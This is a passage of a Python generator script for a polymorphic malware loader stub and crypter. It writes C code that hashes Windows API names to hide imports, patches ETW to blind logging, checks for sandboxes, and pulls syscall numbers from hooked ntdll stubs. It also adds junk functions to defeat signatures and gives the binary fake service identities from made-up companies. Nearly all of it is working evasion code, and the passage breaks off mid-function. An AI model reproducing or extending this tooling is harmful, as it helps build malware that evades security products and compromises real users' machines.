Hash constant definitions (28 total) +# --------------------------------------------------------------------------- + +# Wide hashes (module names — case-insensitive via byte-level folding) +WIDE_NAMES = [ + ("FH_KERNEL32", "KERNEL32.DLL"), + ("FH_NTDLL", "NTDLL.DLL"), +] + +# Narrow hashes (function names — case-sensitive ASCII) +NARROW_NAMES = [ + ("FH_LoadLibraryA", "LoadLibraryA"), + ("FH_GetProcAddress", "GetProcAddress"), + ("FH_VirtualAlloc", "VirtualAlloc"), + ("FH_VirtualProtect", "VirtualProtect"), + ("FH_VirtualFree", "VirtualFree"), + ("FH_GetModuleHandleA", "GetModuleHandleA"), + ("FH_CreateFileA", "CreateFileA"), + ("FH_ReadFile", "ReadFile"), + ("FH_GetFileSize", "GetFileSize"), + ("FH_CloseHandle", "CloseHandle"), + ("FH_GetSystemInfo", "GetSystemInfo"), + ("FH_GlobalMemoryStatusEx", "GlobalMemoryStatusEx"), + ("FH_GetDiskFreeSpaceExA", "GetDiskFreeSpaceExA"), + ("FH_Sleep", "Sleep"), + ("FH_GetTickCount64", "GetTickCount64"), + ("FH_FindFirstFileA", "FindFirstFileA"), + ("FH_FindNextFileA", "FindNextFileA"), + ("FH_FindClose", "FindClose"), + ("FH_GetEnvironmentVariableA", "GetEnvironmentVariableA"), + ("FH_FlushInstructionCache", "FlushInstructionCache"), + ("FH_ExitProcess", "ExitProcess"), + ("FH_NtAllocateVirtualMemory", "NtAllocateVirtualMemory"), + ("FH_NtProtectVirtualMemory", "NtProtectVirtualMemory"), + ("FH_NtFreeVirtualMemory", "NtFreeVirtualMemory"), + ("FH_NtFlushInstructionCache", "NtFlushInstructionCache"), + ("FH_EtwEventWrite", "EtwEventWrite"), + ("FH_AmsiOpenSession", "AmsiOpenSession"), + ("FH_WriteFile", "WriteFile"), +] + + +# --------------------------------------------------------------------------- +# Algorithm selection and C code generation +# --------------------------------------------------------------------------- + +class HashAlgorithm: + """Encapsulates a chosen hash algorithm with its parameters.""" + + def __init__(self, name, narrow_fn, wide_fn, c_narrow, c_wide, params): + self.name = name + self.narrow_fn = narrow_fn + self.wide_fn = wide_fn + self.c_narrow = c_narrow # C source for StubHash(const char*) + self.c_wide = c_wide # C source for StubHashW(const WCHAR*, USHORT) + self.params = params + + +def make_djb2a(): + seed = random.randint(0x10000000, 0xFFFFFFFF) + c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ + DWORD h = 0x{seed:08X}u; + while (*str) {{ + h = ((h << 5) + h) ^ (unsigned char)*str++; + }} + return h; +}}""" + c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ + DWORD h = 0x{seed:08X}u; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) {{ + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h = ((h << 5) + h) ^ (unsigned char)c; + }} + return h; +}}""" + return HashAlgorithm( + name=f"DJB2a (seed 0x{seed:08X})", + narrow_fn=lambda s: djb2a_hash_narrow(s, seed), + wide_fn=lambda s: djb2a_hash_wide(s, seed), + c_narrow=c_narrow, + c_wide=c_wide, + params={"seed": seed}, + ) + + +def make_fnv1a(): + c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) { + DWORD h = 0x811C9DC5u; + while (*str) { + h = (h ^ (unsigned char)*str++) * 0x01000193u; + } + return h; +}""" + c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) { + DWORD h = 0x811C9DC5u; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) { + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h = (h ^ (unsigned char)c) * 0x01000193u; + } + return h; +}""" + return HashAlgorithm( + name="FNV-1a", + narrow_fn=fnv1a_hash_narrow, + wide_fn=fnv1a_hash_wide, + c_narrow=c_narrow, + c_wide=c_wide, + params={}, + ) + + +def make_sdbm(): + shift1 = random.choice([6, 7, 8]) + shift2 = random.choice([14, 15, 16]) + c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ + DWORD h = 0; + while (*str) {{ + h = (unsigned char)*str++ + (h << {shift1}) + (h << {shift2}) - h; + }} + return h; +}}""" + c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ + DWORD h = 0; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) {{ + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h = (unsigned char)c + (h << {shift1}) + (h << {shift2}) - h; + }} + return h; +}}""" + return HashAlgorithm( + name=f"SDBM (shifts {shift1},{shift2})", + narrow_fn=lambda s: sdbm_hash_narrow(s, shift1, shift2), + wide_fn=lambda s: sdbm_hash_wide(s, shift1, shift2), + c_narrow=c_narrow, + c_wide=c_wide, + params={"shift1": shift1, "shift2": shift2}, + ) + + +def make_rotating_xor(): + shift1 = random.choice([4, 5, 6, 7]) + shift2 = random.choice([24, 25, 27, 28]) + c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{ + DWORD h = 0; + while (*str) {{ + h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)*str++; + }} + return h; +}}""" + c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{ + DWORD h = 0; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) {{ + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)c; + }} + return h; +}}""" + return HashAlgorithm( + name=f"Rotating-XOR (shifts {shift1},{shift2})", + narrow_fn=lambda s: rotating_xor_hash_narrow(s, shift1, shift2), + wide_fn=lambda s: rotating_xor_hash_wide(s, shift1, shift2), + c_narrow=c_narrow, + c_wide=c_wide, + params={"shift1": shift1, "shift2": shift2}, + ) + + +def make_jenkins(): + c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) { + DWORD h = 0; + while (*str) { + h += (unsigned char)*str++; + h += h << 10; + h ^= h >> 6; + } + h += h << 3; + h ^= h >> 11; + h += h << 15; + return h; +}""" + c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) { + DWORD h = 0; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) { + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h += (unsigned char)c; + h += h << 10; + h ^= h >> 6; + } + h += h << 3; + h ^= h >> 11; + h += h << 15; + return h; +}""" + return HashAlgorithm( + name="Jenkins", + narrow_fn=jenkins_hash_narrow, + wide_fn=jenkins_hash_wide, + c_narrow=c_narrow, + c_wide=c_wide, + params={}, + ) + + +# --------------------------------------------------------------------------- +# VERSIONINFO randomization pools +# --------------------------------------------------------------------------- + +VERSIONINFO_IDENTITIES = [ + ("AppHelper", "Application Helper Service", "AppHelper.exe", "Contoso Ltd."), + ("UpdateAgent", "Automatic Update Agent", "UpdateAgent.exe", "Fabrikam Inc."), + ("SyncService", "Data Synchronization Service", "SyncService.exe", "Woodgrove Systems"), + ("NetMonitor", "Network Monitor Utility", "NetMonitor.exe", "Northwind Software"), + ("CacheManager", "Cache Management Service", "CacheManager.exe", "Litware Inc."), + ("PerfOptimizer", "Performance Optimization Tool", "PerfOptimizer.exe", "Proseware Inc."), + ("TaskScheduler", "Scheduled Task Runner", "TaskRunner.exe", "Adatum Corporation"), + ("IndexHelper", "Index Maintenance Helper", "IndexHelper.exe", "Adventure Works"), + ("DiagService", "Diagnostic Collection Service", "DiagService.exe", "Trey Research"), + ("EventLogger", "Event Logging Service", "EventLogger.exe", "Consolidated Messenger"), + ("StorageUtil", "Storage Optimization Utility", "StorageUtil.exe", "Contoso Ltd."), + ("HealthCheck", "System Health Monitor", "HealthCheck.exe", "Fabrikam Inc."), + ("ConfigHost", "Configuration Host Process", "ConfigHost.exe", "Woodgrove Systems"), + ("ServiceAgent", "Background Service Agent", "ServiceAgent.exe", "Northwind Software"), + ("NotifyService", "Notification Delivery Service", "NotifyService.exe", "Litware Inc."), +] + +WINDOWS_BUILDS = [ + (10, 0, 19041), # Win10 2004 + (10, 0, 19042), # Win10 20H2 + (10, 0, 19043), # Win10 21H1 + (10, 0, 19044), # Win10 21H2 + (10, 0, 19045), # Win10 22H2 + (10, 0, 22621), # Win11 22H2 + (10, 0, 22631), # Win11 23H2 + (10, 0, 26100), # Win11 24H2 +] + + +def generate_versioninfo(outdir, tools_dir): + """Generate stub_versioninfo.rc + stub_manifest.manifest with randomized identity.""" + internal, description, original_filename, company = random.choice(VERSIONINFO_IDENTITIES) + major, minor, build = random.choice(WINDOWS_BUILDS) + patch = random.randint(1, 3999) + + ver_str = f"{major}.{minor}.{build}.{patch}" + ver_csv = f"{major},{minor},{build},{patch}" + + # Generate RC file + rc_lines = [ + '#include ', + '', + '// Icon', + '1 ICON "zerin_stub.ico"', + '', + '// Version Info', + 'VS_VERSION_INFO VERSIONINFO', + f'FILEVERSION {ver_csv}', + f'PRODUCTVERSION {ver_csv}', + 'FILEFLAGSMASK VS_FFI_FILEFLAGSMASK', + 'FILEFLAGS 0', + 'FILEOS VOS_NT_WINDOWS32', + 'FILETYPE VFT_APP', + 'BEGIN', + ' BLOCK "StringFileInfo"', + ' BEGIN', + ' BLOCK "040904B0"', + ' BEGIN', + f' VALUE "CompanyName", "{company}"', + f' VALUE "FileDescription", "{description}"', + f' VALUE "FileVersion", "{ver_str}"', + f' VALUE "InternalName", "{internal}"', + f' VALUE "LegalCopyright", "Copyright (C) {random.choice([2022, 2023, 2024, 2025])} {company}. All rights reserved."', + f' VALUE "OriginalFilename", "{original_filename}"', + f' VALUE "ProductName", "{description}"', + f' VALUE "ProductVersion", "{ver_str}"', + ' END', + ' END', + ' BLOCK "VarFileInfo"', + ' BEGIN', + ' VALUE "Translation", 0x0409, 1200', + ' END', + 'END', + '', + '// Manifest', + '1 24 "stub_manifest.manifest"', + '', + ] + + rc_path = os.path.join(outdir, "stub_versioninfo.rc") + with open(rc_path, "w", newline="\n") as f: + f.write("\n".join(rc_lines)) + + # Generate manifest file + manifest_lines = [ + '', + '', + f' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + ' ', + '', + '', + ] + + manifest_path = os.path.join(outdir, "stub_manifest.manifest") + with open(manifest_path, "w", newline="\n") as f: + f.write("\n".join(manifest_lines)) + + # Copy icon from tools directory if it exists + import shutil + icon_src = os.path.join(tools_dir, "zerin_stub.ico") + icon_dst = os.path.join(outdir, "zerin_stub.ico") + if os.path.isfile(icon_src) and not os.path.isfile(icon_dst): + shutil.copy2(icon_src, icon_dst) + + return internal, ver_str + + +ALGORITHM_FACTORIES = [make_djb2a, make_fnv1a, make_sdbm, make_rotating_xor, make_jenkins] + + +def pick_algorithm() -> HashAlgorithm: + factory = random.choice(ALGORITHM_FACTORIES) + return factory() + + +def compute_constants(algo: HashAlgorithm, max_retries: int = 50) -> dict: + """Compute all 28 FH_* constants with collision detection + retry.""" + for attempt in range(max_retries): + values = {} + collision = False + + for define_name, api_name in WIDE_NAMES: + values[define_name] = algo.wide_fn(api_name) + + for define_name, api_name in NARROW_NAMES: + values[define_name] = algo.narrow_fn(api_name) + + # Check for collisions + seen = {} + for name, val in values.items(): + if val in seen: + collision = True + break + seen[val] = name + + if not collision: + return values + + # Retry with a fresh algorithm instance (new random params) + algo = pick_algorithm() + + raise RuntimeError(f"Failed to find collision-free hash constants after {max_retries} attempts") + + +# --------------------------------------------------------------------------- +# stub_poly_hash.h generation +# --------------------------------------------------------------------------- + +def generate_hash_header(algo: HashAlgorithm, constants: dict) -> str: + lines = [] + lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + lines.append(f"/* Algorithm: {algo.name} */") + lines.append("#ifndef STUB_POLY_HASH_H") + lines.append("#define STUB_POLY_HASH_H") + lines.append("") + lines.append("#include ") + lines.append("") + + # Hash functions + lines.append(algo.c_narrow) + lines.append("") + lines.append(algo.c_wide) + lines.append("") + + # Constants + lines.append("/* Pre-computed hash constants */") + for define_name, _ in WIDE_NAMES: + lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u") + + lines.append("") + for define_name, _ in NARROW_NAMES: + lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u") + + lines.append("") + lines.append("#endif /* STUB_POLY_HASH_H */") + lines.append("") + return "\n".join(lines) + + +# --------------------------------------------------------------------------- +# stub_poly_junk.c generation +# --------------------------------------------------------------------------- + +def random_hex_name() -> str: + return f"poly_stub_fn_{random.randint(0, 0xFFFFFFFF):08x}" + + +def gen_arithmetic_chain(depth: int) -> list: + """Generate an arithmetic computation chain.""" + lines = [] + lines.append(" unsigned int r = a;") + for _ in range(depth): + op = random.choice(["+", "^", "-", "*"]) + val = random.randint(1, 0xFFFF) + lines.append(f" r = (r {op} 0x{val:X}u);") + lines.append(" return r;") + return lines + + +def gen_bitwise_rotation(depth: int) -> list: + """Generate bitwise rotation operations.""" + lines = [] + lines.append(" unsigned int r = a;") + for _ in range(depth): + shift = random.randint(1, 31) + if random.random() < 0.5: + lines.append(f" r = (r << {shift}) | (r >> (32 - {shift}));") + else: + lines.append(f" r = (r >> {shift}) | (r << (32 - {shift}));") + val = random.randint(1, 0xFFFF) + lines.append(f" r ^= 0x{val:X}u;") + lines.append(" return r;") + return lines + + +def gen_array_computation() -> list: + """Generate an array-based computation.""" + lines = [] + size = random.randint(4, 8) + vals = [random.randint(0, 0xFF) for _ in range(size)] + vals_str = ", ".join(f"0x{v:02X}" for v in vals) + lines.append(f" static const unsigned char tbl[] = {{ {vals_str} }};") + lines.append(f" unsigned int r = a;") + lines.append(f" for (int i = 0; i < {size}; i++) {{") + lines.append(f" r = (r * 31u) ^ tbl[i];") + lines.append(f" }}") + lines.append(f" return r;") + return lines + + +def gen_short_loop() -> list: + """Generate a short loop computation.""" + lines = [] + count = random.randint(3, 12) + lines.append(" unsigned int r = a;") + lines.append(f" for (int i = 0; i < {count}; i++) {{") + op = random.choice(["^=", "+=", "-="]) + shift = random.randint(1, 15) + lines.append(f" r {op} (r >> {shift}) + (unsigned int)i;") + lines.append(" }") + lines.append(" return r;") + return lines + + +def generate_junk_functions(count: int) -> str: + """Generate stub_poly_junk.c with `count` junk functions.""" + lines = [] + lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + lines.append("#include ") + lines.append("") + lines.append("volatile unsigned int g_poly_stub_state = 0;") + lines.append("") + + func_names = [] + func_defs = [] + + for i in range(count): + name = random_hex_name() + func_names.append(name) + + param_list = "unsigned int a" + + # Pick a body type (cross-function calls handled separately below) + body_type = random.randint(0, 3) + if body_type == 0: + body_lines = gen_arithmetic_chain(random.randint(3, 8)) + elif body_type == 1: + body_lines = gen_bitwise_rotation(random.randint(2, 5)) + elif body_type == 2: + body_lines = gen_array_computation() + else: + body_lines = gen_short_loop() + + func_defs.append((name, param_list, body_lines)) + + # Add cross-function call bodies for ~20% of functions (after first few are defined) + for i in range(len(func_defs)): + if i >= 3 and random.random() < 0.2: + name, param_list, _ = func_defs[i] + target_idx = random.randint(0, i - 1) + target_name = func_names[target_idx] + new_body = [] + new_body.append(f" unsigned int r = {target_name}(a);") + val = random.randint(1, 0xFFFF) + new_body.append(f" r ^= 0x{val:X}u;") + new_body.append(" return r;") + func_defs[i] = (name, param_list, new_body) + + # Emit forward declarations + for name, param_list, _ in func_defs: + lines.append(f"static unsigned int {name}({param_list});") + lines.append("") + + # Emit function definitions + for name, param_list, body_lines in func_defs: + lines.append(f"static unsigned int {name}({param_list}) {{") + lines.extend(body_lines) + lines.append("}") + lines.append("") + + # Emit poly_stub_init() that chains all functions + lines.append("void poly_stub_init(void) {") + lines.append(" unsigned int s = 0x{:08X}u;".format(random.randint(0, 0xFFFFFFFF))) + for name in func_names: + lines.append(f" s = {name}(s);") + lines.append(" g_poly_stub_state = s;") + lines.append("}") + lines.append("") + + return "\n".join(lines) + + +# --------------------------------------------------------------------------- +# Per-build config generation (shared between stub + crypter) +# --------------------------------------------------------------------------- + +# Legitimate-looking PE section name pools (24 entries each) +CFG_SECTION_POOL = [".mrdata", ".voltbl", ".didat", ".00cfg", ".gxfg", + ".gehcont", ".retplne", ".idata", ".msvcjmc", ".gfids", + ".textbss", ".xcpt", ".minATL", ".tls", ".xdata", + ".edata", ".reloc", ".pdata", ".wixburn", ".cormeta", + ".gfguard", ".cfguard", ".retpol", ".mrfld"] +PAY_SECTION_POOL = [".rsrc1", ".shared", ".sxdata", ".rdata2", + ".data2", ".xdata1", ".tls1", ".orpc", ".rsrc2", + ".vladata", ".bss1", ".rodata", ".data3", ".rdata3", + ".xdata2", ".idata2", ".crt", ".drectve", ".data1", + ".npad", ".crthunk", ".rtc", ".tdata", ".prel"] + + +def _random_section_name(): + """Generate a random section name: '.' + 4-6 lowercase letters.""" + length = random.randint(4, 6) + return "." + "".join(random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(length)) + +# Base English character frequency distribution (will be shuffled) +BASE_CHARSET_CHARS = ( + " " * 10 + + "e" * 10 + "t" * 10 + "a" * 8 + "o" * 8 + "i" * 8 + + "n" * 8 + "s" * 8 + "h" * 8 + "r" * 8 + "d" * 6 + + "l" * 6 + "c" * 6 + "u" * 6 + "m" * 6 + "w" * 6 + + "f" * 5 + "g" * 5 + "y" * 5 + "p" * 5 + "b" * 5 + + "v" * 4 + "k" * 4 + "j" * 2 + "x" * 2 + "q" * 2 + "z" * 2 + + "E" * 4 + "T" * 4 + "A" * 4 + "O" * 4 + "I" * 4 + + "N" * 4 + "S" * 4 + "H" * 4 + "R" * 4 + "D" * 4 + + "L" * 4 + "C" * 4 + "U" * 4 + "M" * 4 + "W" * 4 + + "," * 3 + "." * 3 + ";" * 2 + ":" * 2 + "!" * 1 + "?" * 1 + + "'" * 1 + '"' * 1 + "(" * 1 + ")" * 1 + " " * 2 +) + + +def generate_shuffled_charset() -> str: + """Generate a unique shuffled entropy charset per build.""" + chars = list(BASE_CHARSET_CHARS) + random.shuffle(chars) + return "".join(chars) + + +def generate_chacha_init_code() -> tuple: + """Generate obfuscated ChaCha20 constant initialization. + + Instead of literal 0x61707865 etc., compute them via arithmetic + from random intermediate values. Returns (code_lines, state_var_name). + """ + # The four ChaCha20 constants (RFC 8439 "expand 32-byte k") + constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574] + lines = [] + for i, val in enumerate(constants): + # Pick random addend/xor values that produce the constant + method = random.randint(0, 2) + if method == 0: + # XOR method: a ^ b = val + a = random.randint(0, 0xFFFFFFFF) + b = a ^ val + lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;") + elif method == 1: + # ADD method: a + b = val (mod 2^32) + a = random.randint(0, 0xFFFFFFFF) + b = (val - a) & 0xFFFFFFFF + lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;") + else: + # SUB method: a - b = val (mod 2^32) + b = random.randint(0, 0xFFFFFFFF) + a = (val + b) & 0xFFFFFFFF + lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;") + return lines + + +def generate_etw_patch_code() -> tuple: + """Generate a random multi-byte ETW patch sequence. + + Returns (patch_bytes_hex, patch_size) for a sequence that + effectively makes the function return 0 (STATUS_SUCCESS). + """ + # Various ways to make a function return 0 immediately + patches = [ + # xor eax, eax; ret + ([0x31, 0xC0, 0xC3], 3), + # xor eax, eax; ret (alternate encoding) + ([0x33, 0xC0, 0xC3], 3), + # push 0; pop rax; ret + ([0x6A, 0x00, 0x58, 0xC3], 4), + # mov eax, 0; ret + ([0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], 6), + # xor eax, eax; nop; ret + ([0x31, 0xC0, 0x90, 0xC3], 4), + # sub eax, eax; ret + ([0x29, 0xC0, 0xC3], 3), + ] + return random.choice(patches) + + +def generate_stub_config_header(magic, cfg_section, pay_section, charset, + chacha_init_lines, etw_patch, etw_size, + sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb, + sb_sleep_ms, sb_sleep_min_ms, sb_min_recent, + lcg_mult, lcg_inc, lcg_shift) -> str: + """Generate stub_poly_config.h shared by stub template and crypter.""" + # Escape charset for C string literal (handle special chars) + escaped = "" + for ch in charset: + if ch == '"': + escaped += '\\"' + elif ch == '\\': + escaped += '\\\\' + elif ch == '\n': + escaped += '\\n' + elif ord(ch) < 32 or ord(ch) > 126: + escaped += f'\\x{ord(ch):02x}' + else: + escaped += ch + + # Split charset into chunks for readable C array + # Avoid splitting in the middle of escape sequences (e.g. \" or \\) + chunk_size = 60 + charset_chunks = [] + pos = 0 + while pos < len(escaped): + end = min(pos + chunk_size, len(escaped)) + # Don't split right after a backslash (it would escape the closing quote) + while end < len(escaped) and end > pos and escaped[end - 1] == '\\': + end -= 1 + if end == pos: # degenerate case: chunk is all backslashes + end = min(pos + chunk_size + 1, len(escaped)) + charset_chunks.append(f' "{escaped[pos:end]}"') + pos = end + + lines = [] + lines.append("/* Auto-generated by generate_poly_stub.py - DO NOT EDIT */") + lines.append("#ifndef STUB_POLY_CONFIG_H") + lines.append("#define STUB_POLY_CONFIG_H") + lines.append("") + lines.append(f"#define STUB_CONFIG_MAGIC 0x{magic:08X}u") + lines.append(f'#define STUB_CFG_SECTION "{cfg_section}"') + lines.append(f'#define STUB_PAY_SECTION "{pay_section}"') + lines.append("") + lines.append("/* Per-build shuffled entropy charset */") + lines.append(f"#define STUB_ENTROPY_CHARSET_LEN {len(charset)}") + lines.append("static const char STUB_ENTROPY_CHARSET[] =") + lines.append("\n".join(charset_chunks) + ";") + lines.append("") + lines.append("/* ChaCha20 obfuscated state initialization */") + lines.append("#define CHACHA_INIT_STATE(state) do { \\") + for cl in chacha_init_lines: + lines.append(f"{cl} \\") + lines.append("} while(0)") + lines.append("") + lines.append("/* ETW multi-byte patch */") + etw_bytes_str = ", ".join(f"0x{b:02X}" for b in etw_patch) + lines.append(f"static const unsigned char STUB_ETW_PATCH[] = {{ {etw_bytes_str} }};") + lines.append(f"#define STUB_ETW_PATCH_SIZE {etw_size}") + lines.append("") + lines.append("/* Randomized sandbox thresholds */") + lines.append(f"#define SB_MIN_CPU {sb_min_cpu}") + lines.append(f"#define SB_MIN_RAM_GB {sb_min_ram_gb}") + lines.append(f"#define SB_MIN_DISK_GB {sb_min_disk_gb}") + lines.append(f"#define SB_SLEEP_MS {sb_sleep_ms}") + lines.append(f"#define SB_SLEEP_MIN_MS {sb_sleep_min_ms}") + lines.append(f"#define SB_MIN_RECENT {sb_min_recent}") + lines.append("") + lines.append("/* Per-build LCG parameters for entropy pad generation */") + lines.append(f"#define STUB_LCG_MULT 0x{lcg_mult:08X}u") + lines.append(f"#define STUB_LCG_INC 0x{lcg_inc:04X}u") + lines.append(f"#define STUB_LCG_SHIFT {lcg_shift}") + lines.append("") + lines.append("#endif /* STUB_POLY_CONFIG_H */") + lines.append("") + return "\n".join(lines) + + +# --------------------------------------------------------------------------- +# Metamorphic transform generators +# --------------------------------------------------------------------------- + +def gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift): + """Generate metamorphic generate_entropy_pad with per-build LCG params. + + Also randomly selects loop unrolling factor (1x, 2x, or 4x). + """ + unroll = random.choice([1, 2, 4]) + + lines = [] + lines.append("static void generate_entropy_pad(uint32_t seed, uint8_t *pad, uint32_t pad_size) {") + lines.append(" uint32_t state = seed;") + lines.append(" uint32_t charset_len = STUB_ENTROPY_CHARSET_LEN;") + + if unroll == 1: + lines.append(" for (uint32_t i = 0; i < pad_size; i++) {") + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(" }") + elif unroll == 2: + lines.append(" uint32_t full = pad_size & ~1u;") + lines.append(" uint32_t i = 0;") + lines.append(" for (; i < full; i += 2) {") + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i+1] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(" }") + lines.append(" for (; i < pad_size; i++) {") + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(" }") + else: # 4x + lines.append(" uint32_t full = pad_size & ~3u;") + lines.append(" uint32_t i = 0;") + lines.append(" for (; i < full; i += 4) {") + for u in range(4): + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i+{u}] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(" }") + lines.append(" for (; i < pad_size; i++) {") + lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;") + lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];") + lines.append(" }") + + lines.append("}") + return "\n".join(lines) + + +def gen_meta_section_to_protection(): + """Generate metamorphic SectionToProtection with randomly chosen variant.""" + variant = random.choice(["conditional", "ternary", "lut", "accumulator"]) + + if variant == "conditional": + # Shuffled conditional chain (within priority groups to preserve correctness) + group3 = [("e && r && w", "PAGE_EXECUTE_READWRITE")] + group2 = [ + ("e && r", "PAGE_EXECUTE_READ"), + ("e && w", "PAGE_EXECUTE_WRITECOPY"), + ("r && w", "PAGE_READWRITE"), + ] + group1 = [ + ("e", "PAGE_EXECUTE"), + ("r", "PAGE_READONLY"), + ("w", "PAGE_WRITECOPY"), + ] + random.shuffle(group2) + random.shuffle(group1) + cases = group3 + group2 + group1 + lines = [] + lines.append("static DWORD SectionToProtection(DWORD ch) {") + lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") + lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") + lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") + for cond, ret in cases: + lines.append(f" if ({cond}) return {ret};") + lines.append(" return PAGE_NOACCESS;") + lines.append("}") + return "\n".join(lines) + + elif variant == "ternary": + lines = [] + lines.append("static DWORD SectionToProtection(DWORD ch) {") + lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") + lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") + lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") + lines.append(" return e ? (r ? (w ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ)") + lines.append(" : (w ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE))") + lines.append(" : (r ? (w ? PAGE_READWRITE : PAGE_READONLY)") + lines.append(" : (w ? PAGE_WRITECOPY : PAGE_NOACCESS));") + lines.append("}") + return "\n".join(lines) + + elif variant == "lut": + lines = [] + lines.append("static DWORD SectionToProtection(DWORD ch) {") + lines.append(" static const DWORD lut[] = {") + lines.append(" PAGE_NOACCESS, PAGE_WRITECOPY, PAGE_READONLY, PAGE_READWRITE,") + lines.append(" PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE") + lines.append(" };") + lines.append(" int idx = ((ch >> 27) & 4) | ((ch >> 29) & 2) | ((ch >> 31) & 1);") + lines.append(" return lut[idx & 7];") + lines.append("}") + return "\n".join(lines) + + else: # accumulator + lines = [] + lines.append("static DWORD SectionToProtection(DWORD ch) {") + lines.append(" DWORD prot = 0;") + lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") + lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") + lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") + lines.append(" if (!e && !r && !w) return PAGE_NOACCESS;") + lines.append(" if (e) {") + lines.append(" prot = PAGE_EXECUTE;") + lines.append(" if (r && w) return PAGE_EXECUTE_READWRITE;") + lines.append(" if (r) return PAGE_EXECUTE_READ;") + lines.append(" if (w) return PAGE_EXECUTE_WRITECOPY;") + lines.append(" return prot;") + lines.append(" }") + lines.append(" if (r && w) return PAGE_READWRITE;") + lines.append(" if (r) return PAGE_READONLY;") + lines.append(" return PAGE_WRITECOPY;") + lines.append("}") + return "\n".join(lines) + + +def gen_meta_extract_ssn(): + """Generate metamorphic ExtractSSN with randomized variants.""" + # Random choices + check_order = random.choice(["standard_first", "hooked_first"]) + scan_limit = random.choice([24, 32, 48]) + sentinel = random.choice(["(DWORD)-1", "0xFFFFFFFF", "~0u"]) + add_decoy = random.choice([True, False]) + + lines = [] + lines.append("static DWORD ExtractSSN(LPBYTE funcAddr) {") + + if check_order == "standard_first": + # Standard prologue check first + lines.append(" /* Standard ntdll syscall stub prologue */") + lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&") + lines.append(" funcAddr[3] == 0xB8) {") + lines.append(" return *(DWORD *)(funcAddr + 4);") + lines.append(" }") + lines.append(" /* Hooked? Scan forward for mov eax pattern */") + lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{") + if add_decoy: + lines.append(" if (funcAddr[i] == 0x90) continue; /* skip NOP */") + lines.append(" if (funcAddr[i] == 